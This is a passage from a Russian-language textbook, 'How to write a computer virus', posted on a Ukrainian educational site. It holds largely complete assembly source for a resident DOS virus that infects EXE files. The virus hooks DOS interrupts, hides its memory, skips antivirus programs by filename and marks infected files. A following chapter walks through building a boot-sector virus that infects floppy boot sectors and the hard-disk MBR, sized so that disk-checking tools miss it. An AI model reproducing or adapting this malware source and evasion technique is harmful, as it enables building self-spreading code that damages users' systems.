Я:
Результат
Архив

МЕТА - Украина. Рейтинг сайтов Webalta Уровень доверия



Союз образовательных сайтов
Главная / Учебники / Учебники на русском языке / Компьютерные науки / Как написать компьютерный вирус


Компьютерные науки - Учебники на русском языке - Скачать бесплатно


;ливаем ...

fresh_input:
pop es

mov ax,my_ip ;Восстановим
;исходные CS
mov old_ip,ax ;и IP ,а также
;необходимые
mov ax,my_cs ;для правильной
;работы
mov old_cs,ax ;значения SS и
;SP ...
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax

mov ax,cs ;Расчитаем точку
;входа
sub ax,to_16h ;EXE - программы
add my_ss,ax
mov ss,my_ss
add ax,old_cs
mov old_cs,ax
push ax
push old_ip ;Восстановим DS
mov ax,es
mov ds,ax
db 0cbh ;Машинный код
;команды возвра-
;та из дальней
;процедуры ...

old_ip dw 0 ;
old_cs dw 0 ;

inst: push es ;Найдем первый
;PSP в
xor di,di ;памяти ...
xor ax,ax

to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
;последний ?
jae free_mem
cmp byte ptr es:[di],4dh ;Это -
;MCB - блок ?
jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh ;Следующий MCB
;корректен ?
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
;дует PSP ?
jne to_new_seg ;Нет - тогда он
;нас не
;интересует ...
mov first_psp,es ;Да - найдена
;нужная нам
mov cx,es ;область памяти
dec es_save
cmp es_save,cx ;А может ,мы на-
;шли свой
;же PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h

free_mem: pop es

mov ah,4ah ;Определим объем
;доступной
;памяти ...
mov bx,0ffffh ;Заведомо невоз-
;можное
int 21h ;значение
;(0ffffh) !

; _______________________________________________
;| Найдем свободный MCB - блок ,чтобы можно было |
;| записать в него резидентную часть вируса ... |
;|_______________________________________________|

sub bx,vir_par + 4 ;Оставим вирусу
;на 4 параграфа
;больше ,чем
;он сам занимает
mov ah,4ah ;А остальная
;память
int 21h ;будет занята ...
jnc give_mem

to_fresh_input:
jmp fresh_input

give_mem: mov ah,48h ;Попросим DOS
;отдать сво-
;бодный блок нам
mov bx,vir_par + 2 ;Запас в два
;параграфа ...
int 21h
jc to_fresh_input

; _______________________________________________
;|Теперь свободный блок памяти найден |
;|( сегментный адрес в AX ) ,и нужно |
;|записать в него код вируса ... |
;|_______________________________________________|

xor di,di ;
mov bx,ax ;
dec bx ;
mov word ptr es:[2],bx ;Корректируем
;PSP ...
mov es,bx ;Делаем вирус
mov bx,0070h ;" невидимым "
mov es:[di+1],bx ;в памяти ...

mov es,di ;Получаем векто-
;ра прерываний
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx

mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti

mov word ptr vir,9090h ;Подготавливаем
;вирус
mov tg_infect,0 ;к резидентной
;работе ...

mov our_21h_cs,ax ;Эти значения
;потребуются
mov bx,old_21h ;промежуточному
;обработ-
mov sys_21h_ip,bx ;чику INT 21h...
mov bx,old_21h_2
mov sys_21h_cs,bx

push es ;Теперь мы
;скопируем его
cli ;в найденный ра-
;нее первый
mov es,first_psp ;в памяти PSP...
xor di,di
lea si,to_bios
mov cx,code_len
new_code: mov bl,byte ptr [si]
mov byte ptr es:[di],bl
inc si
inc di
loop new_code
sti
pop es

mov es,ax ;Копируем в
;память сам
xor di,di ;вирусный код...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy

xor bx,bx ;Устанавливаем
;вектора
;прерываний на
;вирусные
mov es,bx ;обработчики ...
cli
mov di,084h ;Int 21h ...
mov word ptr es:[di],00h
mov bx,first_psp
mov word ptr es:[di + 2],bx

mov di,0a0h ;Int 28h ...
mov word ptr es:[di],0
mov es:[di+2],ax
sti

jmp fresh_input ;Установка виру-
;са в память за-
;вершена ...

infect: push cs ;DS = CS ...
pop ds

mov ax,ds ;TSR - коррекция
sub ax,10h ;DS ...
mov ds,ax

mov tg_infect,0

mov ah,2fh ;Получим текущую
int 21h ;DTA ...

mov es_dta,es ;И сохраним ее
mov bx_dta,bx

mov ah,1ah ;А теперь
;установим
lea dx,new_dta ;собственную DTA
int 21h

find_first:mov maska[0],'*' ;Расшифровка ма-
cmp word ptr cs:[0],9090h ;ски только в
je cs:fifa ;резидентном
mov maska[0],'a' ;режиме

fifa: mov ah,4eh ;Найдем первый
mov cx,00100110b ;файл ...
lea dx,maska
int 21h
jnc cs:r_3
jmp cs:restore_dta

find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc cs:r_2
jmp cs:restore_dta

r_2: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:r_3
jmp cs:restore_dta

r_3: mov cx,12
lea si,fn ;Сотрем старое
kill_name: mov byte ptr [si],0 ;имя в буфере
inc si
loop cs:kill_name

xor si,si ;И запишем новое
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0
je cs:check_name
mov byte ptr fn[si],al
inc si
jmp cs:copy_name

check_name:mov cx,4 ;Проверим имя на
lea si,name_1 ;принадлежность
call cs:search ;его антивирус-
cmp inside,1 ;ным программам
je cs:r_2

lea si,name_2 ;
call cs:search
cmp inside,1
je cs:r_2

lea si,name_3 ;
call cs:search
cmp inside,1
je cs:r_2

lea si,name_4 ;
call cs:search
cmp inside,1
je cs:r_2

lea si,name_5 ;
call cs:search
cmp inside,1
je cs:r_2
;
mov cx,3
lea si,name_6
call cs:search
cmp inside,1
je cs:to_r_2

open_file: mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:found_size
to_r_2: jmp cs:r_2

found_size:mov descrypt,ax ;Установим ука-
;затель в ко-
mov cx,word ptr [new_dta + 01ch] ;нец файла ...
mov dx,word ptr [new_dta + 01ah]
sub dx,1
sbb cx,0
call cs:setpointer
jnc cs:read_last
jmp cs:find_next

read_last: mov cx,1 ;Считаем послед-
lea dx,last ;ний байт ...
call cs:read
jnc cs:compar
jmp cs:close_file

compar: cmp last,'7' ;Индикатор зара-
;женности
jne cs:mmm
jmp cs:find_next

mmm: xor cx,cx ;Считаем заголо-
xor dx,dx ;вок EXE - файла
call cs:setpointer
jnc cs:read_head
to_next: jmp cs:find_next

read_head: mov cx,27 ;
lea dx,header ;
call cs:read ;
jnc cs:next_step ;
jmp cs:restore_dta ;
;Запомним :
;Значение IP
;файла ...
next_step: mov ax,word ptr header[14h]
mov old_ip,ax
;Значение CS
;файла ...
mov ax,word ptr header[16h]
mov old_cs,ax
;Значение SS
;файла ...
mov ax,word ptr header[0eh]
mov old_ss,ax
;Значение SP
;файла ...
mov ax,word ptr header[10h]
mov old_sp,ax
;Вычислим ...
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h ;Файл длиннее
;983040 байт ?
jna cs:good_size ;Нет !
jmp cs:find_next ;Да !
good_size: mov di,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Новое значение
;CS ...

mov ax,di
xor dx,dx
call cs:mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch] ;Файл содержит
;оверлеи ?
jl cs:to_next ;Да !
ja cs:not_ovl ;Нет !
cmp ax,word ptr [new_dta + 01ah]
jae cs:not_ovl ;Нет !
jmp cs:find_next ;Да !
not_ovl: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je cs:round
inc ax
round: mov to_04h,ax ;Новую длину
;файла в страни-
;цах ...
mov to_02h,dx
mov word ptr header[02h],dx ;И заполним эти-
;ми значе -
mov ax,to_04h ;ниями соответс-
;твующие
mov word ptr header[04h],ax ;поля заголовка
mov word ptr header[14h],0
mov ax,to_16h
mov word ptr header[16h],ax
mov word ptr header[0eh],ax
mov word ptr header[10h],to_new_stack + 96
mov sub_ds,10h
mov maska[0],'a'

xor dx,dx ;Запишем
xor cx,cx ;скорректирован-
call cs:setpointer ;ный заголовок
jc cs:close_file ;на диск ...

lea dx,header
mov cx,27
call cs:write
jc cs:close_file

mov dx,f_seek_low ;Установим ука-
mov cx,f_seek_high ;затель в файле
call cs:setpointer
jc cs:close_file

mov cx,2 ;Запишем начало
lea dx,end_file ;вируса ...
call cs:write
jc cs:close_file

lea dx,vir + 2 ;И остальную
mov cx,vir_len - 2 ;часть ...
call cs:write

close_file:xor ax,ax ;Закроем зара-
mov ah,3eh ;женный файл ...
mov bx,descrypt
int 21h

restore_dta: ;Восстановим DTA
push ds
mov ah,1ah
mov dx,bx_dta
mov ds,es_dta
int 21h
pop ds

exit_zarasa:
pop es ;И регистры ...
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
iret ;Выходим ...

;-------------------------------------------------

; _______________________________________________
;| |
;| Напишем новые обработчики INT 21h и INT 24h |
;|_______________________________________________|

;-------------------------------------------------

to_new_21h equ $-vir

new_21h: jmp cs:start_21h

tg_infect db 0

start_21h: call cs:rest_code ;На всякий слу-
;чай восстановим
;промежуточный
;обработчик
;INT 21h ...
pushf
push di
push es
xor di,di ;Перехват
mov es,di ;Int 24h в
mov di,90h ;резидентном
mov word ptr es:[di],to_new_24h ;режиме
mov es:[di+2],cs
cmp ah,03bh ;Смена каталога?
jne cs:new_cmp_1
mov cs:tg_infect - 100h,1 ;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh ;Смена диска ?
jne cs:to_jump
mov cs:tg_infect - 100h,1 ;Да - взводим
;триггер
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
;рый обработчик
old_21h dw 0 ;INT 21h ...
old_21h_2 dw 0

;-------------------------------------------------

to_new_24h equ $ - vir

new_24h: mov al,3 ;Вернем програм-
;ме управление и
iret ;код ошибки ...

;-------------------------------------------------

;/***********************************************/

;Data area
new_dta db 128 dup (0) ;Новая DTA ...
maska db 61h,'.exe',0 ;Маска для
;поиска ...
fn db 12 dup (' '),0 ;Место для имени
;файла
end_file db 0ebh ;Первые два бай-
;та вируса
db push_len ;в файле ...
header db 27 dup ( 0 ) ;Массив для
;заголовка ...
descrypt dw 0 ;Дескриптор ...
to_02h dw 0 ;Ячейки для
to_04h dw 0 ;хранения вычис-
to_16h dw 0 ;ляемых элемен-
my_ip dw 0 ;тов заголовка
my_cs dw 0 ;
my_16h dw 0 ;
my_ss dw 0 ;
my_sp dw 0 ;
old_ss dw 0 ;
old_sp dw 0 ;
f_seek_low dw 0 ;Младшая и стар-
;шая части
f_seek_high dw 0 ;указателя ...
es_dta dw 0 ;Адрес старой
bx_dta dw 0 ;DTA ...
first_psp dw 0 ;Сегмент первого
;PSP ...
es_save dw 0
to_new_stack equ $ - vir ;Смещение к
;стеку ...
new_stack dw 50 dup ( 0 ) ;Новый стек ...
name_1 db 'ADIN' ;Файлы ,имена
name_2 db 'DINF' ;которых начина-
name_3 db 'DRWE' ;ются так,
name_4 db 'AIDS' ;заражать
name_5 db 'ANTI' ;нельзя !
name_6 db 'WEB'
inside db 0
vizitka db 'Programmed in Zhitomir'
db ' Politechnical Institute'
db 'FICT is the best!'
db ' (AU - ... ,virmaker)'
mes_len equ $ - vizitka
last db 0 ;Последний байт

;-------------------------------------------------

setpointer proc ;Процедура уста-
mov ax,4200h ;новки указателя
mov bx,descrypt ;в файле ...
int 21h
ret
setpointer endp

read proc ;Процедура чте-
mov ah,3fh ;ния из файла
mov bx,descrypt
int 21h
ret
read endp

write proc ;Процедура запи-
mov ah,40h ;си в файл ...
mov bx,descrypt
int 21h
ret
write endp

mover proc ;Процедура умно-
mov cx,04h ;жения на 16
left: shl dx,1 ;двойного слова
shl ax,1 ;DX : CX
adc dx,00h
loop cs:left
ret
mover endp

rest_code proc ;Процедура вос-
;станавливает
push bx ;в памяти текст
push cx ;промежуточного
push si ;обработчика
;INT 21h ...
push di
push es
pushf
cli
mov es,cs:first_psp - 100h
xor di,di
mov si,offset cs:to_bios - 100h
mov cx,code_len
loader: mov bl,byte ptr cs:[si]
mov byte ptr es:[di],bl
inc si
inc di
loop cs:loader
sti
popf
pop es
pop di
pop si
pop cx
pop bx
ret
rest_code endp

search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp

;-------------------------------------------------

to_bios: push ax ;Текст промежу-
push ds ;точного обра-
pushf ;ботчика Int 21h
xor ax,ax
mov ds,ax
cmp word ptr ds:[0006h],0070h ;Int 01h пере-
;хвачено ?
jne cs:uuuuu
;JMP на систем-
;ный или вирус-
;ный обработчики
;INT 21h ...
popf
pop ds
pop ax
db 0eah ;На вирусный...
our_21h_ip dw to_new_21h
our_21h_cs dw 00h
uuuuu: popf
pop ds
pop ax
db 0eah ;На системный...
sys_21h_ip dw 00h
sys_21h_cs dw 00h

code_len equ $ - to_bios ;Длина обработ-
;чика ...

;-------------------------------------------------

db '7' ;Последний байт
;вируса ...

vir_len equ $-vir ;Длина вируса
;в байтах
vir_par equ ($-vir + 0fh)/16;И в параграфах


prg ends
end vir


Как видите, в вирусе приняты определенные меры для
того, чтобы он не смог заразить антивирусные про-
граммы .Дело в том,что все ( или почти все ) анти-
вирусы при запуске проверяют себя на зараженность,
и при обнаружении изменений своего кода выдают со-
ответствующее сообщение . Поэтому вирус проверяет,
содержатся - ли в имени найденного файла такие
фрагменты :

name_1 db 'ADIN';Файлы, имена
name_2 db 'DINF';которых начи-
name_3 db 'DRWE';наются так, за-
name_4 db 'AIDS';ражать нельзя !
name_5 db 'ANTI'
name_6 db 'WEB'

Для проверки используется разработанная ранее про-
цедура SEARCH . Если найденный файл действительно
является антивирусной программой, наш вирус отка-
зывается от попытки заразить его .

*
Как вы заметили,в вирусе отсутствуют обработчики
Int 13h и Int 2Fh. Так сделано потому, что пред-
лагаемая программа отлично работает без какой -
бы то ни было " фильтрации " прерывания Int 13h.
Проверка повторной загрузки возложена на обра-
ботчик Int 28h, по этой причине прерывание Int
2Fh перехватывать не нужно.


ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ


ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
ВИРУСНОЙ ПРОГРАММЫ


1.1 Краткие сведения о начальной загрузке
персонального компьютера

Для начала следует сказать несколько слов о том,
как происходит начальная загрузка ЭВМ.
После проверки аппаратной части компьютера и запо-
лнения таблицы векторов прерываний BIOS пытается
прочитать первый сектор нулевой дорожки нулевой
стороны диска в дисководе " A ". Этот сектор поме-
щается в память по адресу 0000:7C00h,после чего на
указанный адрес передается управление. В прочитан-
ном секторе содержится программа начальной загруз-
ки (BOOT - запись) и некоторые другие сведения,не-
обходимые для доступа к данным на диске. Программа
начальной загрузки проверяет, является - ли диск
системным. Если это так, то загрузка операционной
системы с диска продолжается, а если нет,то на эк-
ран выводится сообщение :

Non system disk or disk error
Replace and press any key when ready .

после чего система ожидает действий оператора.
Если же диск в " A " - дисководе отсутствует, то
программа BIOS считывает первый сектор нулевой до-
рожки нулевой стороны первого жесткого диска. Он
также помещается в память по адресу 0000:7C00h,по-
сле чего по указанному адресу передается управле-
ние.В прочитанном секторе на жестком диске записа-
на так называемая MBR (главная загрузочная за-
пись). MBR является программой, которая определяет
активный раздел жесткого диска, считывает загру-
зочную запись (BOOT - запись) этого раздела в опе-
ративную память и отдает ей управление. Дальше все
происходит, как при загрузке системы с гибкого ди-
ска. Как видим, процесс загрузки с винчестера яв-
ляется как бы двухступенчатым.
Если же программа MBR не нашла активный раздел, то
выдается сообщение об отсутствии загрузочных уст-
ройств, и система останавливается.В некоторых ста-
рых машинах при невозможности запустить операцион-
ную систему загружался интерпретатор языка БЕЙСИК,
записанный в микросхемах ПЗУ. Однако новые модели
компьютеров не содержат встроенного интерпретато-
ра и не используют его.


1.2 Понятие о загрузочных вирусах

Загрузочными называют вирусы, способные заражать
загрузочные сектора гибких и жестких дисков и по-
лучающие управление при попытке " запустить " опе-
рационную систему с зараженного диска.
Можно выделить следующие основные разновидности
вирусных программ указанного типа :

1. Заражающие BOOT - сектора гибких дисков
2. Заражающие BOOT - запись активного раздела же-
сткого диска и BOOT - сектора гибких дисков
3. Заражающие MBR ( Master Boot Record ) жесткого
диска BOOT - сектора гибких дисков

Отметим,что заражение BOOT - секторов дискет явля-
ется обязательным, иначе вирус просто не сможет
распространяться .
Кроме того, почти все загрузочные вирусы являются
резидентными,что объясняется спецификой их работы.
Нерезидентный вирус смог бы размножаться только в
том случае, если при загрузке с диска " A " из
дисковода " B " забыли вытащить дискету, или при
загрузке с зараженного винчестера диск находится в
одном из дисководов.Очевидно,что при таком алгори-
тме работы вирус размножался бы очень медленно,
и его создание было бы просто бессмысленным.
Большое распространение получили также файлово -
загрузочные вирусы, которые могут заражать файлы
типов EXE, COM а иногда и другие. Ярким представи-
телем этой разновидности можно считать ONEHALF,ко-
торый может заражать EXE и COM - файлы. Файлово -
загрузочные вирусы являются более заразными, чем
файловые. Создать такой вирус также сложнее, и по-
этому их подробное рассмотрение выходит за рамки
данной книги.


1.3 Алгоритм работы загрузочного
вируса

Несмотря на огромное разнообразие загрузочных ви-
русных программ, алгоритмы их работы незначительно
отличаются друг от друга. В этом пункте мы рассмо-
трим одну из возможных реализаций такого алгорит-
ма. Только сначала условимся, что наш вирус будет
заражать загрузочные сектора гибких дисков и MBR
( Master Boot Record) первого жесткого диска. Поэ-
тому можно предложить следующий " план работы " :

Попав при начальной загрузке машины в память по
адресу 0000:7C00h, вирус должен выполнить такие
действия :

1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов па-
мяти ( сколько именно - зависит от длины вирус-
ного кода )
3. Переписать свой код в полученную область (кста-
ти, она будет находиться в старших адресах ос-
новной памяти)
4. Передать управление следующей секции своего ко-
да, уже расположенной в конце основной памяти

Эта секция, в свою очередь, должна :

1. Переопределить вектор прерывания Int 13h на ви-
русный код
2. Считать настоящий загрузочный сектор в память
по адресу 0000:7C00h
3. Проверить, заражен - ли винчестер. Если нет, то
заразить его MBR
4. Передать управление настоящему загрузочному се-
ктору, находящемуся по адресу 0000:7C00h

Далее загрузка ОС выполняется, как обычно.
Когда система будет загружена,вирус должен занять-
ся заражением BOOT - секторов дискет. С этой целью
он выполняет такие действия :

1. При чтении секторов с номерами 2...N нулевой
дорожки нулевой стороны диска " A " проверяет
BOOT этого диска на зараженность
2. Если диск еще не инфицирован - заражает его
3. Передает управление системному обработчику Int
13h

Под заражением понимают запись вирусного кода в
BOOT - сектор дискеты или в MBR винчестера.
Понятно, что при загрузке с винчестера проверять
его на зараженность бессмысленно. И тем не менее,
наш вирус делает это, так как отключить проверку
жесткого диска не так просто, как это может пока-
заться. Кроме того, она выполняется очень быстро и
поэтому совершенно не ощущается пользователем.
На первый взгляд, приведенный алгоритм кажется до-
вольно сложным. Тем не менее, его достаточно про-
сто реализовать, в чем вы скоро убедитесь.
Хотелось бы сказать о том, какой должна быть мак-
симальная длина вирусного кода.Если мы хотим поме-
стить вирус в загрузочный сектор целиком, следует
учесть два момента.

1. Собственно программа загрузки в MBR занимает
не более, чем 446 байт ( см. ПРИЛОЖЕНИЕ 2 )

2. Программа загрузки в BOOT - секторе дискеты
имеет разный размер в разных версиях DOS. В са-
мом " предельном " случае она начинается со
смещения 0055h относительно начала сектора. Два
последних байта BOOT и MBR содержат код: 55AAh.
Если его затереть,система перестанет загружать-
ся с испорченного таким образом диска. Некото-
рые вирусы используют этот прием для приведения
дискеты или винчестера в " частично нерабочее "
состояние.

Отсюда следует очевидный вывод - размер кода виру-
са не может превышать : 200h - 55h - 02h = 1A9h =
= 425 байт! Если вы не выйдете за эту границу, об-
ращение к диску будет происходить корректно. Кроме
того,даже NORTON DISK DOCTOR не будет замечать из-
менений программы загрузки в BOOT - секторе дис-
кеты или MBR винчестера, что, согласитесь, очень
важно.


1.4 Как начинается распространение вируса

В отличие от файловых вирусов,для внедрения загру-
зочного вируса в компьютер достаточно просто по-
пробовать загрузиться с зараженной дискеты, при
этом дискета не обязательно должна быть загрузоч-
ной.В этом состоит особенность вирусов этого типа.
Итак, чтобы вирус начал распространяться, достато-
чно заразить им гибкий диск, а потом попытаться
загрузиться с него на той или иной машине.


1.5 Начало работы

Как и прежде,будем разрабатывать загрузочный вирус
в виде COM - программы. Поэтому :

prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h


1.6 Вирус получает управление

Как вы уже знаете,загрузочный вирус получает упра-
вление только при загрузке операционной системы.
Далее он должен " отрезать " у DOS несколько кило-
байтов памяти и переписать свой код в полученную
область. Для выполнения этих функций можно пред-
ложить такой фрагмент :

my_prg: xor ax,ax ;
mov ss,ax ;
mov sp,7bfeh ;Установка собс-
;твенного стека
push ax ;Сохраним в сте-
push bx ;ке используемые
push cx ;регистры
push dx ;
push si ;
push ds ;
push es ;
pushf ;
;
push cs ;DS = CS
pop ds ;
;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
;лим
sal ax,cl ;сегментный ад-
;рес,по которому
;находится полу-
;ченный блок
mov es,ax ;Поместим адрес
;в ES
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
;
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
;на этот адрес

Поскольку операционная система к моменту начала
выполнения этого фрагмента еще не загружена, "уве-
сти" у вычислительной системы два килобайта памяти
не предсталяет никакого труда. Для этого просто
следует уменьшить на два число,расположенное в об-
ласти данных BIOS по адресу : 0000:0413h .Загрузи-
вшись, операционная система просто не будет заме-
чать занятую вирусом память. Даже такие программы,
как RELEASE или Volkov Commander ( нажмите ALT +
+ F5 ) не помогут обнаружить, где именно " притаи-
лся " вирус ( правда, это не так трудно рассчи-
тать, но для рядового " юзера " такая задача непо-
сильна ) .

Машинный код

db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;

является кодом команды :
" mov bl,byte ptr [si + 7C00h] " и модифицируется
в зависимости от того, что именно удалось заразить
вирусу - если загрузка происходит с винчестера,то
код будет иметь вид :

db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;

а если с дискеты :

db 8ah ;
db 9ch ;
additor db 55h ;
db 7ch ;




Назад


Новые поступления

Украинский Зеленый Портал Рефератик создан с целью поуляризации украинской культуры и облегчения поиска учебных материалов для украинских школьников, а также студентов и аспирантов украинских ВУЗов. Все материалы, опубликованные на сайте взяты из открытых источников. Однако, следует помнить, что тексты, опубликованных работ в первую очередь принадлежат их авторам. Используя материалы, размещенные на сайте, пожалуйста, давайте ссылку на название публикации и ее автора.

281311062 © il.lusion,2007г.
Карта сайта